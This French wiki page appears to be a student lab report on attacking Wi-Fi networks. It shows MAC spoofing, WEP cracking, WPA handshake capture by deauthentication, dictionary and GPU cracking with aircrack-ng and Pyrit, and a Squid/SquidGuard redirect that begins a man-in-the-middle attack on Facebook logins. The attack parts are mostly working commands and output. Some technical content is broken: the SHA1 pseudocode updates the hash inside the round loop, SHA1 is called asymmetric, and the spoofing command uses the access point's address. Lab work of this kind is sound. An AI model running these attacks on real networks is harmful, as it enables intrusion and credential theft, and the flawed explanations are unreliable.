&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --essid baguette wlan0mon&lt;br /&gt;
&lt;br /&gt;
CH  4 ][ Elapsed: 18 s ][ 2015-10-22 13:29                                           &lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
C4:14:3C:40:78:60  -52 100      146        1    0   4  54e. OPN              baguette                                                                                                               &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR   Rate    Lost    Frames  Probe                 &lt;br /&gt;
C4:14:3C:40:78:60  00:15:AF:E7:19:F3  -59    0 - 5e     0        1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dès qu'un client se connecte, il est possible de lui voler son adresse MAC (ici, 00:15:AF:E7:19:F3) et de se connecter sur le point d'accès avec la commande suivante.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ifconfig wlan1 hw ether C4:14:3C:40:78:60&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Accès par filtrage WEP ====&lt;br /&gt;
Par la suite, nous avons tenté de nous authentifier sur un point d'accès filtré par une clé WEP 128 bits. Nous avons donc commencé par passer l'interface WLAN en mode monitoring.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airmon-ng &lt;br /&gt;
PHY	Interface	Driver		Chipset&lt;br /&gt;
&lt;br /&gt;
phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]&lt;br /&gt;
&lt;br /&gt;
#airmon-ng start wlan3&lt;br /&gt;
PHY	Interface	Driver		Chipset&lt;br /&gt;
&lt;br /&gt;
phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]&lt;br /&gt;
		(mac80211 monitor mode vif enabled for [phy1]wlan3 on [phy1]wlan3mon)&lt;br /&gt;
		(mac80211 station mode vif disabled for [phy1]wlan3)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
L'interface wlan3mon est maintenant disponible pour l'attaque. Nous passons maintenant au scan.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airodump-ng wlan3mon&lt;br /&gt;
CH  9 ][ Elapsed: 0 s ][ 2015-11-12 11:58                                         &lt;br /&gt;
                                                                                                                                                                                                     &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
                                                                                                                &lt;br /&gt;
 00:23:5E:1E:05:48  -57        2        0    0   7  54e. OPN              cracotte09                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:41  -56        3        0    0   7  54e. WEP  WEP         cracotte02                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:45  -57        3       22    0   7  54e. WEP  WEP         cracotte06                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:44  -56        2       19    0   7  54e. WEP  WEP         cracotte05                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:47  -55        3       42    0   7  54e. WEP  WEP         cracotte08                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:46  -55        1       67    0   7  54e. WEP  WEP         cracotte07                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:42  -56        2       67    0   7  54e. WEP  WEP         cracotte03                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:40  -57        2       98    0   7  54e. WEP  WEP         cracotte01                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:43  -58        4       99    0   7  54e. WEP  WEP         cracotte04                                                                                                           &lt;br /&gt;
                                                                                                                                                                                                      &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                                                                            &lt;br /&gt;
                                                                                                                                                                                                      &lt;br /&gt;
 04:DA:D2:CF:01:90  48:5A:3F:4C:37:61   -1    1e- 0      0        2                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:45  00:0F:B5:92:23:74  -64   54e-48e     2       21                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:44  00:0F:B5:92:23:6B  -65   48e- 2e    89        9                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:47  00:0F:B5:92:23:71  -67   54e-54e    39       37                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:46  00:0F:B5:92:23:69  -63   48e-54e     6       63                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:42  00:0F:B5:92:23:6A  -60   48e-54e     9       59                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:40  00:0F:B5:92:22:68  -55   36e-48e     9       94                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:43  00:0F:B5:92:23:75  -58   48e- 2e   145       93&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre cible étant le réseau &amp;quot;cracotte07&amp;quot;, nous spécifions donc le canal et l'ESSID&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airodump-ng --essid cracotte07 --channel 7 -w dmp wlan3mon&lt;br /&gt;
CH  7 ][ Elapsed: 3 mins ][ 2015-11-12 12:03                                         &lt;br /&gt;
&lt;br /&gt;
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
 00:23:5E:1E:05:46  -64  17     1603    46339  201   7  54e. WEP  WEP         cracotte07&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le monitoring du réseau est donc lancé. Pendant ce temps, nous lançons le décryptage avec aircrack.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#aircrack-ng *.cap&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Read 110082 packets.&lt;br /&gt;
&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
&lt;br /&gt;
   1  00:23:5E:1E:05:46  cracotte07                WEP (6190 IVs)&lt;br /&gt;
&lt;br /&gt;
Choosing first network as target.&lt;br /&gt;
&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Attack will be restarted every 5000 captured ivs.&lt;br /&gt;
Starting PTW attack with 6258 ivs.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous générons plus de flux à l'aide de aireplay.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#aireplay-ng -5 -e cracotte07 wlan3mon&lt;br /&gt;
No source MAC (-h) specified. Using the device MAC (00:11:95:E5:0D:F0)&lt;br /&gt;
12:02:11  Waiting for beacon frame (ESSID: cracotte07) on channel 7&lt;br /&gt;
Found BSSID &amp;quot;00:23:5E:1E:05:46&amp;quot; to given ESSID &amp;quot;cracotte07&amp;quot;.&lt;br /&gt;
12:02:11  Waiting for a data packet...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
        Size: 70, FromDS: 0, ToDS: 1 (WEP)&lt;br /&gt;
&lt;br /&gt;
              BSSID  =  00:23:5E:1E:05:46&lt;br /&gt;
          Dest. MAC  =  FF:FF:FF:FF:FF:FF&lt;br /&gt;
         Source MAC  =  00:0F:B5:92:23:69&lt;br /&gt;
&lt;br /&gt;
        0x0000:  8841 2c00 0023 5e1e 0546 000f b592 2369  .A,..#^..F....#i&lt;br /&gt;
        0x0010:  ffff ffff ffff c014 0000 f898 0e00 8065  ...............e&lt;br /&gt;
        0x0020:  7e87 af6b e679 211e c9d6 1665 0b4f 7e2d  ~..k.y!....e.O~-&lt;br /&gt;
        0x0030:  6cf8 2da9 f0f8 3f96 d831 539a 2f9e ef35  l.-...?..1S./..5&lt;br /&gt;
        0x0040:  b7bd 03c5 5093                           ....P.&lt;br /&gt;
&lt;br /&gt;
Use this packet ? y&lt;br /&gt;
&lt;br /&gt;
Saving chosen packet in replay_src-1112-120211.cap&lt;br /&gt;
12:02:13  Data packet found!&lt;br /&gt;
12:02:13  Sending fragmented packet&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et enfin, aircrack trouve la clé.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
                                                                                            Aircrack-ng 1.2 rc2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                            [00:02:12] Tested 853 keys (got 40800 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/  9   55(53248) FD(49664) 1F(47872) 7E(47616) 11(47360) D9(47360) F5(46848) 58(46592) 1E(46336) EE(46336) B0(46080) 20(45824) 93(45824) CD(45824) 0A(45568) 81(45568) &lt;br /&gt;
    1    0/  1   52(61952) 07(50176) 1E(49152) E4(49152) 11(48640) 38(48640) 5F(48640) 33(48128) A7(47360) AB(47360) 46(47104) E1(47104) ED(47104) 20(46848) 23(46592) 4D(46592) &lt;br /&gt;
    2    0/  1   55(60160) 27(47872) 3A(47616) 3D(47616) 45(47616) C4(47616) 05(47360) 70(47104) 99(47104) 4D(46336) E1(46336) 23(46080) 69(46080) 83(46080) 31(45824) 6A(45824) &lt;br /&gt;
    3   13/  3   79(46848) 2C(46592) 5E(46592) 1E(46080) 34(46080) 03(45824) 12(45824) 08(45568) AD(45568) B9(45568) 64(45312) 9B(45312) CE(45312) FB(45312) 74(44800) C0(44800) &lt;br /&gt;
    4    1/  4   CB(48896) 12(47872) 22(47872) E0(47872) FE(47872) 98(47360) ED(47360) 60(46848) 78(46848) 96(46848) 9A(46848) 6C(46592) 21(46080) 38(46080) A1(46080) 16(45824) &lt;br /&gt;
&lt;br /&gt;
     KEY FOUND! [ 55:55:55:55:55:55:55:55:55:51:11:11:11 ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
==== Accès par filtrage WPA ====&lt;br /&gt;
L'accès à un réseau protégé par une clé WPA est plus complexe car aircrack n'est pas capable de trouver la clé par ses propres moyens. Il est nécessaire de lui fournir un dictionnaire contenant la clé de réseau pour espérer pouvoir s'y connecter. Nous avons donc commencé par générer un dictionnaire comprenant certaines clés (dans notre cas, tout les nombres à 8 chiffres). Le script Perl générant le dictionnaire est le suivant.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/perl&lt;br /&gt;
my $ite = 0;&lt;br /&gt;
my $max = 1000000;&lt;br /&gt;
my $outp;&lt;br /&gt;
my $tmp;&lt;br /&gt;
for (my $j=0; $j &amp;lt; 100; $j++)&lt;br /&gt;
{&lt;br /&gt;
    $tmp = sprintf(&amp;quot;[%02d]\n&amp;quot;, $j);                                                                                                                                                               &lt;br /&gt;
    print STDERR $tmp;&lt;br /&gt;
    for (my $i=0; $i &amp;lt; ($max); $i++)&lt;br /&gt;
    {&lt;br /&gt;
        $outp = sprintf(&amp;quot;%08d\n&amp;quot;, $ite);&lt;br /&gt;
        $ite++;&lt;br /&gt;
        print $outp;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous lançons donc la génération avec la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ./gen.pl &amp;gt; dic.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le dictionnaire est ainsi généré. Cependant, la taille du dictionnaire est légèrement importante.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
859M -rw-r--r-- 1 root root 859M nov.  13 09:41 dic.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, après avoir passé l'interface en mode monitoring (de la même façon que pour les attaques précédentes), nous lançons notre surveillance du réseau &amp;quot;Almost Secure WiFi&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# airodump-ng --channel 6 --essid &amp;quot;Almost Secure WiFI&amp;quot; -w dmp wlan1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Puis, nous désauthentifions les clients déjà connectés pour récupérer le &amp;quot;handshake&amp;quot; qui permettra le décryptage de la clé.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aireplay-ng -0 5 -e &amp;quot;Almost Secure WiFI&amp;quot; wlan1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois la désauthentification envoyée, nous récupérons le &amp;quot;handshake&amp;quot; durant la reconnection des clients.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aircrack-ng *.cap&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Read 2370 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
&lt;br /&gt;
   1  00:13:46:79:6A:1C  Almost Secure WiFI        WPA (1 handshake)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Attaque par dictionnaire=====&lt;br /&gt;
A partir du moment où nous disposons du &amp;quot;handshake&amp;quot;, deux options s'offrent à nous. La première consiste à réaliser une attaque par dictionnaire (celui que nous avons généré). Commençons donc par cette attaque.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aircrack-ng -w dico.txt *.cap&lt;br /&gt;
                                 Aircrack-ng 1.2 beta3&lt;br /&gt;
                   [00:58:30] 12121212 keys tested (3659.24 k/s)&lt;br /&gt;
                           KEY FOUND! [ 12121212 ]&lt;br /&gt;
      Master Key     : 8E 68 0C AB 07 0F F7 AD 0D 6A 04 A0 DB F5 A0 62&lt;br /&gt;
                       F8 39 26 F0 B4 C2 42 23 9E 11 5A 6B E2 39 A3 45&lt;br /&gt;
      Transient Key  : CE 6D 03 71 74 1D 39 B3 35 8A 24 D5 7D 39 76 DF&lt;br /&gt;
                       68 5B D5 CC 79 C5 6F 64 A3 A9 84 D2 36 19 7A F8&lt;br /&gt;
                       45 70 AF 3E 41 15 86 E3 2F 8C 5E 2E 5C F8 98 28&lt;br /&gt;
                       A6 FC DE 27 68 50 07 55 77 6F 83 9D B3 44 32 7E&lt;br /&gt;
      EAPOL HMAC     : 8D 45 38 2F 02 E5 F9 0B 4B 92 EB E9 6B FF B6 EE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cete attaque, bien que parfaitement fonctionnelle, ne permet pas d'obtenir la clé rapidement. La vitesse de test des clés est fixe et ne dépend que de la performance du processeur. Dans notre cas (Intel i5-2400 @ 3.1 GHz) notre vitesse de test est de 3600 clés par seconde.&lt;br /&gt;
=====Attaque par Rainbow Tables=====&lt;br /&gt;
Pour réaliser l'attaque par par rainbow table, nous utiliserons le logiciel PyRit. C'est un logiciel codé en Python qui permet l'attaque de PMK (qui donne le mot de passe du réseau WiFi) plus efficacement que Aircrack. En attaque par dictionnaire classique, sur matériel équivalent (c'est à dire Intel i5-2400 @ 3.1 GHz), PyRit est légérement plus performant que Aircrack en passant d'une moyenne de 3600 PMK/s à 5200 PMK/s. L'intérêt d'utiliser une &amp;quot;rainbow table&amp;quot; est de générer une table valable pour un seul SSID (voir la partie suivante) qui permettra de comparer les PMK plus rapidement. Pour cela, nous allons commencer par ajouter le nom de notre réseau WiFi (aussi appelé ESSID) à PyRit.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -e 'Almost Secure WiFI' create_essid&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Created ESSID 'Almost Secure WiFI'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous ajoutons le dictionnaire qui permettra la génération de la &amp;quot;rainbow table&amp;quot;. On remarqera que cette étape prend entre 5 à 10 secondes.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -i ./dic.txt import_passwords&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
100000000 lines read. Flushing buffers... ..&lt;br /&gt;
All done.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant, nous devons générer la &amp;quot;rainbow table&amp;quot;. Cette partie est extrêmement longue et utilise le processeur au maximum de ses possibilités. Il est important de noter que pendant cette phase, le processeur chauffe énormément, une bonne ventilation du PC est donc obligatoire.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Working on ESSID 'Almost Secure WiFI'&lt;br /&gt;
Processed 3/1536 workunits so far (0.2%); 5174 PMKs per second.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On voit que PyRit calcule les PMK à 5200 clés par secondes. Bien que plus importante qu'avec Aircrack, cette vitesse reste assez faible. Pour augmenter la vitesse de calcul, nous allons utiliser la carte graphique disponible dans l'ordinateur. Pour cela, nous avons installer les drivers nécessaires et ajouté les outils Cuda pour que la carte graphique (NVidia GTX 560) puisse effectuer les calculs. Nous avons donc effectué un court benchmark pour constater les améliorations des performances.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit benchmark&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Running benchmark (25147.5 PMKs/s)... \&lt;br /&gt;
&lt;br /&gt;
Computed 25147.53 PMKs/s total.&lt;br /&gt;
#1: 'OpenCL-Device 'GeForce GTX 560'': 23696.7 PMKs/s (RTT 2.8)&lt;br /&gt;
#2: 'CPU-Core (SSE2)': 983.3 PMKs/s (RTT 3.0)&lt;br /&gt;
#3: 'CPU-Core (SSE2)': 975.5 PMKs/s (RTT 3.0)&lt;br /&gt;
#4: 'CPU-Core (SSE2)': 972.8 PMKs/s (RTT 3.0)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Avec une vitesse de 25000 PMK/s, nous lançons la génération de la &amp;quot;rainbow table&amp;quot; qui prendra environ une heure.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Working on ESSID 'Almost Secure WiFI'&lt;br /&gt;
Processed 95/1536 workunits so far (6.2%); 26045 PMKs per second.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant que la &amp;quot;rainbow table&amp;quot; est générée, nous lançons l'attaque.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -r *.cap attack_batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Parsing file 'dmp-01.cap' (1/1)...&lt;br /&gt;
Parsed 270 packets (270 802.11-packets), got 1 AP(s)&lt;br /&gt;
&lt;br /&gt;
Picked AccessPoint 00:13:46:79:6a:1c ('Almost Secure WiFI') automatically.&lt;br /&gt;
Attacking handshake with station 00:0c:e7:41:68:29&lt;br /&gt;
Tried 6001009 PMKs so far (5.9%); 11875239 PMKs per second&lt;br /&gt;
&lt;br /&gt;
The password is '12121212'.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le mot de passe est alors affiché. Le temps nécessaire à l'obtention de la clé est d'une quinzaine de secondes. La vitesse de calcul des PMK est en moyenne de 7 millions de PMKs par secondes avec des pics à 11 millions de PMKs par secondes lors de l'accès à des zones du disque en cache. L'attaque par &amp;quot;rainbow tables&amp;quot; est donc largement plus performante.&lt;br /&gt;
&lt;br /&gt;
=====Algorithme de génération de PMK=====&lt;br /&gt;
Pour trouver le mot de passe d'un réseau WiFi protégé par du WPA, il est nécessaire de générer la PMK (Pairwise Master Key) correspondant au nom du réseau WiFi ciblé. En effet, l'algorithme de génération de la PMK (nommé PBKDF2) prend comme salage l'ESSID.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PMK = PBKDF2(HMAC-SHA1, PASSWORD, ESSID, 4096, 256)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
La fonction PBKDF2 (dont le nom complet est Password-Based Key Derivation Function 2) est une fonction de dérivation de clés publié par le laboratoire PKCS des laboratoires RSA. Elle est aussi maintenue par le [https://tools.ietf.org/html/rfc2898 RFC 2898] de l'IETF. Cette fonction s'utilise en combinaison d'une autre fonction. Cette autre fonction doit être de type pseudo-aléatoire pour permettre la création de clés cryptographiques. Les paramètres de cette fonction PBKDF2 sont donc:&lt;br /&gt;
*[PRF] La fonction pseudo-aléatoire (ici HMAC-SHA1)&lt;br /&gt;
*[PASSWORD] Le mot de passe&lt;br /&gt;
*[SALT] Le salage  (ici l'ESSID)&lt;br /&gt;
*[COUNT] Le nombre d'itération de la fonction PBKDF2 (ici 4096)&lt;br /&gt;
*[LEN] La longueur du résultat de la fonction (ici 256)&lt;br /&gt;
La résultat de la fonction est le résultat de la succession d'opération XOR, un nombre de fois déterminé par COUNT, à travers l'algorithme PFR.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PBKDF2(PRF, PASSWORD, SALT, COUNT, LEN) = U1 ^ U2 ^ ... ^ Ucount&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Où les &amp;quot;Un&amp;quot; sont égales à: (ici, IMT_32_BE est la valeur de LEN convertie sur un INT codé sur 32 bits en Big Endian.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
U1 = PRF(PASSWORD, SALT || INT_32_BE(LEN))&lt;br /&gt;
U2 = PRF(PASSWORD, U1)&lt;br /&gt;
...&lt;br /&gt;
Uc = PRF(PASSWORD, Ucount-1)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant, intéressons nous à la PRF, ici la fonction HMAC-SHA1. Elle est composée de deux fonctions: HMAC et SHA1. Nous traiterons le SHA1 par la suite. La fonction HMAC de son vrai nom keyed-Hash Message Authentication Code) permet de vérifier l'authenticité et l'intégrité d'un message. Elle est maintenue par le [https://tools.ietf.org/html/rfc2104 RFC 2104] de l'IETF Elle se repose elle aussi sur une autre fonction pour assurer son fonctionnement (comme le PBKDF2). Cependant, la fonction cryptographique utilisé n'influe pas sur sa capacité à vérifier l'authenticité et l'intégrité d'un message. Les paramètres de la fonction HMAC sont les suivants:&lt;br /&gt;
*[KEY] la clé utilisée pour encoder le message&lt;br /&gt;
*[MSG] le message à encoder&lt;br /&gt;
*[H] la fonction qui va être utilisé pour encoder le message (ici, nous utiliserons SHA1)&lt;br /&gt;
*[HLEN] le longueur du résultat fourni par H (dans notre cas HLEN vaut 64 octets)&lt;br /&gt;
Le principe de fonctionnement est le suivant:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function HMAC(KEY, MSG, H, HLEN)&lt;br /&gt;
    if(length(KEY) &amp;gt; HLEN)&lt;br /&gt;
        KEY = H(KEY) // Si la clé est trop grande, elle est réduite par H&lt;br /&gt;
    if(length(KEY) &amp;lt; HLEN)&lt;br /&gt;
        KEY = KEY || (0x00 * (HLEN - LENGTH(KEY)))&lt;br /&gt;
&lt;br /&gt;
    opad_key = (opad * HLEN) ^ KEY;&lt;br /&gt;
    ipad_key = (ipad * HLEN) ^ KEY;&lt;br /&gt;
&lt;br /&gt;
    return H(opad_key || H(ipad_key || MSG)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans cette fonction:&lt;br /&gt;
*L'opérateur || désigne la concaténation directe tel que &amp;quot;J'aime le&amp;quot;||&amp;quot; poulet&amp;quot; est égale à &amp;quot;J'aime le poulet&amp;quot;&lt;br /&gt;
*L'opérateur * désigne la répétition de l'élément tel que &amp;quot;J&amp;quot;*4 est égale à &amp;quot;JJJJ&amp;quot;&lt;br /&gt;
*L'opérateur ^ désigne l'opérateur XOR logique&lt;br /&gt;
*La variable opad est une constance valant 0x5C&lt;br /&gt;
*La variable ipad est une constance valant 0x36&lt;br /&gt;
Finalement, intéressons nous à la fonction SHA1. Celle-ci a été développé par la National Security Agency (NSA). C'est une fonction (ou algorithme) dit asymétrique: c'est à dire que l'argument qui lui est passé ne peut pas être retrouvé à l'aide du résultat. La fonction ne prend donc qu'un seul paramètre.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function SHA1(PASS)&lt;br /&gt;
    h0 = 0x67452301&lt;br /&gt;
    h1 = 0xEFCDAB89&lt;br /&gt;
    h2 = 0x98BADCFE&lt;br /&gt;
    h3 = 0x10325476&lt;br /&gt;
    h4 = 0xC3D2E1F0&lt;br /&gt;
    ml = message length in bits (always a multiple of the number of bits in a character).&lt;br /&gt;
&lt;br /&gt;
    append the bit '1' to the message e.g. by adding 0x80 if message length is a multiple of 8 bits.&lt;br /&gt;
    append 0 ≤ k &amp;lt; 512 bits '0', such that the resulting message length in bits is congruent to −64 ≡ 448 (mod 512)&lt;br /&gt;
    append ml, in a 64-bit big-endian integer. Thus, the total length is a multiple of 512 bits.&lt;br /&gt;
&lt;br /&gt;
    break message into 512-bit chunks&lt;br /&gt;
    for each chunk&lt;br /&gt;
        break chunk into sixteen 32-bit big-endian words w[i], 0 ≤ i ≤ 15&lt;br /&gt;
&lt;br /&gt;
        //Extend the sixteen 32-bit words into eighty 32-bit words:&lt;br /&gt;
        for i from 16 to 79&lt;br /&gt;
            w[i] = (w[i-3] xor w[i-8] xor w[i-14] xor w[i-16]) leftrotate 1&lt;br /&gt;
&lt;br /&gt;
        //Initialize hash value for this chunk:&lt;br /&gt;
        a = h0&lt;br /&gt;
        b = h1&lt;br /&gt;
        c = h2&lt;br /&gt;
        d = h3&lt;br /&gt;
        e = h4&lt;br /&gt;
&lt;br /&gt;
        //Main loop&lt;br /&gt;
        for i from 0 to 79&lt;br /&gt;
            if 0 ≤ i ≤ 19 then&lt;br /&gt;
                f = (b and c) or ((not b) and d)&lt;br /&gt;
                k = 0x5A827999&lt;br /&gt;
            else if 20 ≤ i ≤ 39&lt;br /&gt;
                f = b xor c xor d&lt;br /&gt;
                k = 0x6ED9EBA1&lt;br /&gt;
            else if 40 ≤ i ≤ 59&lt;br /&gt;
                f = (b and c) or (b and d) or (c and d) &lt;br /&gt;
                k = 0x8F1BBCDC&lt;br /&gt;
            else if 60 ≤ i ≤ 79&lt;br /&gt;
                f = b xor c xor d&lt;br /&gt;
                k = 0xCA62C1D6&lt;br /&gt;
&lt;br /&gt;
            temp = (a leftrotate 5) + f + e + k + w[i]&lt;br /&gt;
            e = d&lt;br /&gt;
            d = c&lt;br /&gt;
            c = b leftrotate 30&lt;br /&gt;
            b = a&lt;br /&gt;
            a = temp&lt;br /&gt;
&lt;br /&gt;
            //Add this chunk's hash to result so far:&lt;br /&gt;
            h0 = h0 + a&lt;br /&gt;
            h1 = h1 + b &lt;br /&gt;
            h2 = h2 + c&lt;br /&gt;
            h3 = h3 + d&lt;br /&gt;
            h4 = h4 + e&lt;br /&gt;
&lt;br /&gt;
            //Produce the final hash value (big-endian) as a 160 bit number:&lt;br /&gt;
            hh = (h0 leftshift 128) or (h1 leftshift 96) or (h2 leftshift 64) or (h3 leftshift 32) or h4&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
===Attaque Man In the Middle de Facebook===&lt;br /&gt;
Squirm ne marche pas ... D'un autre coté, en 1999 c'était peut être la mode.&lt;br /&gt;
&lt;br /&gt;
Config Squid&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
acl allowedips src 172.16.1.0/24&lt;br /&gt;
http_access allow allowedips&lt;br /&gt;
forwarded_for off&lt;br /&gt;
http_access deny all&lt;br /&gt;
cache_access_log /var/log/squid3/access.log&lt;br /&gt;
cache_log /var/log/squid3/cache.log&lt;br /&gt;
cache_store_log /var/log/squid3/store.log&lt;br /&gt;
cache_dir ufs /var/spool/squid3 100 16 256&lt;br /&gt;
cache_mem 16 MB&lt;br /&gt;
maximum_object_size 15 MB&lt;br /&gt;
http_port 3128&lt;br /&gt;
cache_effective_group root&lt;br /&gt;
url_rewrite_program /usr/bin/squidGuard&lt;br /&gt;
shutdown_lifetime 1 second&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Config Squidguard&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
dbhome /usr/local/squidGuard/db&lt;br /&gt;
&lt;br /&gt;
dest fb-login {&lt;br /&gt;
    urllist     facebook/url&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
acl {&lt;br /&gt;
    default {&lt;br /&gt;
       pass !fb-login all&lt;br /&gt;
       redirect http://127.0.0.1/&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
